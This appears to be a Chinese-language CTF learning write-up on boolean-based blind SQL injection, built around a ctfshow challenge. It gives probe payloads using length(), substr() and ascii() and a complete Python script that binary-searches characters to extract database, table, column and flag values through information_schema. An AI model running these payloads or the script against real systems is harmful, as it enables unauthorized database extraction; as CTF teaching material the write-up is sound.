0x01 引言
不知道你们学习刷题的时候是怎么弄的,我刷题刷到盲注题基本就变成脚本小子了,用的别人的脚本来做,后面发现实战题盲注的题目还是比较多的,这也是令我相当的坐牢,不能成为脚本小子,于是写这篇poc来记录自己学习生活吧
0x02 布尔盲注
知识基础讲解
既然是盲注那么就是那种没有回显的注入在网页,所以你如果遇到没有回显的注入就可能是盲注,而盲注又分为布尔盲注和时间盲注,这里我们先介绍第一种盲注方法,布尔盲注
这里以ctfshow中的某一布尔盲注为例子
我们要学习两个函数的使用
使用 length()函数 判断查询结果的长度
使用 substr()函数 截取每一个字符,并穷举出字符内容
?id=1' and length(database())=8--+
判断当前所在数据库的长度
?id=1' and ascii(substr(database(),1,1))=115--+
判断当前数据库名字的第一个字符
这段代码的意思类似于切片
substr(x,i,j)
substr返回当前参数x的从第i个字符开始算的j个字
例子 如果x=baozongzi ,i=1,j=1 那么返回的就是b
i=1 j=2 的话就是bz
再将字符转换为ASCII码方便等会遍历出结果
做题思路
?id=1' and 1--+ 正常显示
?id=1' and 0--+ 异常(空)显示
闭合字符根据题目进行相应改变
然后就是写脚本了
脚本写法
这个也是要根据环境来的,因为不同的题目我们的请求方式不同
有时候是POST请求或者GET请求
那么来都来了我们肯定是要学目前跑的最快的方法
布尔盲注就是二分法比较快了
像这道题的话就是比较烦的类型了,你不能直接从表里面注入出来(已知表名),得把库给锁定才行
import requests
flag=""
i = 0
while True:
i = i+1
low = 32
high =127
while low < high:
mid = (low+high)//2
#url = f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid} --+"
#url=f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid} --+"
#url=f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck'),{i},1))>{mid} --+"
url = f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(id,flag33) from ctfshow.flagpuck),{i},1))>{mid} --+"
r=requests.get(url=url)
if "You are in..........." in r.text:
low = mid+1
else:
high = mid
if low !=32:
flag+=chr(low)
else:
break
print(flag)
url就是普通的sql语句注入,看我们前面的就能看懂了
思路:
先定义一个空字符串
然后循环(用来输出回显)再循环(穷举字符)
但是有点计算机基础的都知道 穷举是相当慢的于是我们使用二分
二分算法基础
用low和high把穷举区间给定了
32-126其实已经足够了但是二分常用的时候会把后面的区间变大一个
所以是32-127
[32,127]
有图有真相,我们是不是已经有正常回显了
那么我们就把左区间变大
[79,127]
[79,103]
[91,103]
如此循环往复,确定最后的字符将其存在回显字符串flag
中
可不要觉得慢哦,计算机那算的老快了,所以你学会了吗
🐂不🐂
还有其他方式的脚本大家就自己探索了哦